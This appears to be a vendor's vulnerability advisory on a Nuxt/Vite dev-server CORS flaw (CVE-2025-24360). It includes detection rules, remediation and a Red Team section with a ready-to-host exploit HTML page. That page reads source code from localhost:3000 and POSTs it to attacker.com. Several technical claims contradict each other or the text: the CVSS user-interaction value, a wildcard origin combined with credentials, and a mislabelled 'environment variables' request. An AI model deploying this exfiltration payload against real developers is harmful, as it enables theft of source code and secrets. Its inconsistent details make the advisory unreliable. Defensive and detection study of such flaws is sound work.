CVE-2025-24360
Executive Summary
CVE-2025-24360 is a medium-severity vulnerability affecting the Nuxt.js framework (versions 3.8.1 through 3.15.2). The flaw resides in the default CORS (Cross-Origin Resource Sharing) configuration of the Vite-based development server. By default, the server accepts requests from any origin and returns the full response, including sensitive source code and environment variables. An attacker can craft a malicious website that, when visited by a developer running a Nuxt dev server, silently exfiltrates the application’s source code, API keys, and other secrets. The vulnerability is fixed in Nuxt 3.15.3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Nuxt is an open-source Vue.js framework distributed via npm. The vulnerable component is the @nuxt/vite-builder package. Developers who run npm run dev or yarn dev on a Nuxt 3.8.1–3.15.2 project are exposed. The attack does not require any malicious package installation—it exploits the default configuration of the development toolchain. Supply chain risk is elevated because the vulnerability is in the development server, which is often run on localhost but can be bound to a network interface (e.g., 0.0.0.0) for remote debugging or containerized environments.
CVSS Breakdown & Threat Level
CVSS Score: 5.3 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector (AV): Network – the attacker does not need physical access.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): None – the victim only needs to visit a malicious page while the dev server is running.
- Scope (S): Unchanged – the vulnerable component and the attacker’s target are the same.
- Confidentiality (C): Low – source code and secrets can be read.
- Integrity (I): None – data cannot be modified.
- Availability (A): None – service is not disrupted.
Threat Level: Medium. The attack is trivial to execute (a single fetch request from any website) but requires the victim to be actively running a Nuxt dev server and to visit a malicious page. In CI/CD or shared development environments, the impact can be severe.
Deep Dive & Mechanics
The Nuxt development server uses Vite under the hood. Vite’s default CORS policy for the dev server is permissive: it sets Access-Control-Allow-Origin: * and allows credentials (Access-Control-Allow-Credentials: true). This means any website can make a cross-origin request to the dev server and read the full response.
When a developer runs nuxt dev, the server listens on a port (default 3000) and serves the application’s source code, including .env variables, API endpoints, and internal modules. An attacker can host a page that executes:
fetch('http://localhost:3000/__nuxt_vite_node__/module/?id=...')
.then(r => r.text())
.then(data => fetch('https://attacker.com/exfil', { method: 'POST', body: data }));
The __nuxt_vite_node__ endpoint exposes the raw source code of any module. Additionally, the server’s root path may leak environment variables or configuration files.
The vulnerability is present only when using the Vite builder (default in Nuxt 3). The webpack builder is not affected.
Vulnerable vs. Patched Code
Vulnerable (Nuxt < 3.15.3):
In node_modules/@nuxt/vite-builder/dist/index.mjs, the CORS middleware is either missing or set to allow all origins:
// Vulnerable snippet (simplified)
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
Patched (Nuxt 3.15.3):
The fix restricts CORS to the same origin only:
// Patched snippet (simplified)
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin && origin !== `http://localhost:${port}` && origin !== `http://127.0.0.1:${port}`) {
return res.status(403).end();
}
next();
});
The patch also removes the Access-Control-Allow-Credentials header entirely for cross-origin requests.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup a malicious website that automatically fetches data from the victim’s Nuxt dev server.
- Craft the exploit payload to exfiltrate source code and environment variables.
Exploit HTML (save as exploit.html):
<!DOCTYPE html>
<html>
<body>
<script>
(async () => {
// Exfiltrate environment variables
const envRes = await fetch('http://localhost:3000/__nuxt_vite_node__/module/?id=@nuxt/vite-builder/dist/index.mjs');
const envText = await envRes.text();
await fetch('https://attacker.com/exfil', {
method: 'POST',
mode: 'no-cors',
body: envText
});
// Exfiltrate a specific module (e.g., server/api/hello.ts)
const moduleRes = await fetch('http://localhost:3000/__nuxt_vite_node__/module/?id=./server/api/hello.ts');
const moduleText = await moduleRes.text();
await fetch('https://attacker.com/exfil', {
method: 'POST',
mode: 'no-cors',
body: moduleText
});
})();
</script>
</body>
</html>
- Host the exploit on a public server or use a phishing link.
- Victim visits the page while
nuxt devis running on localhost:3000. - Attacker receives the source code and secrets.
Blue Team (Detection & Hardening)
- Monitor outbound connections from developer workstations to unknown external IPs.
- Block cross-origin requests to localhost:3000 using browser security policies (e.g., Content Security Policy).
- Use a reverse proxy that strips CORS headers for the dev server.
- Run the dev server on a non-standard port and bind only to
127.0.0.1(not0.0.0.0).
Indicators of Compromise (IOCs)
- Network: Outbound HTTP POST requests from a developer machine to an external IP with
Content-Type: text/plainorapplication/x-www-form-urlencodedcontaining JavaScript source code. - File: Unexpected
fetchcalls tolocalhost:3000in browser developer tools. - Log: Dev server logs showing requests with
Originheader not matchinglocalhostor127.0.0.1. - Process: Browser process making connections to both
localhost:3000and an external domain simultaneously.
Detection Engineering
YARA Rule
rule Detect_Nuxt_CORS_Exploit {
meta:
description = "Detects exploit HTML that exfiltrates Nuxt dev server data"
author = "Valters IT"
date = "2025-04-10"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$s1 = "localhost:3000" nocase
$s2 = "__nuxt_vite_node__" nocase
$s3 = "exfil" nocase
$s4 = "fetch(" nocase
condition:
all of ($s1,$s2,$s3,$s4)
}
Sigma Rule
title: Nuxt Dev Server CORS Exfiltration Attempt
id: 8c5a2f3e-9b1d-4c7a-8e6f-2d3a1b0c9e8f
status: experimental
description: Detects HTTP requests from a browser to a Nuxt dev server with suspicious exfiltration patterns
author: Valters IT
date: 2025-04-10
logsource:
category: proxy
product: any
detection:
selection:
cs-host: 'localhost:3000'
cs-uri-query|contains: '__nuxt_vite_node__'
cs-method: 'GET'
sc-status: 200
exfiltration:
cs-host|endswith:
- 'attacker.com'
- 'evil.com'
cs-method: 'POST'
condition: selection and exfiltration
falsepositives:
- Legitimate development tools that fetch modules
level: high
Suricata Rule
alert http any any -> any any (msg:"Nuxt Dev Server CORS Exfiltration"; flow:to_server; content:"GET"; http_method; content:"__nuxt_vite_node__"; http_uri; content:"localhost:3000"; http_host; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade to Nuxt 3.15.3 or later.
- Workaround: Set
server.cors: falseinnuxt.config.tsto disable CORS entirely. - Network: Ensure the dev server binds only to
127.0.0.1(not0.0.0.0). - Browser: Use a Content Security Policy that restricts
connect-srcto'self'. - Monitoring: Deploy the Sigma rule above to detect exfiltration attempts.
Valters IT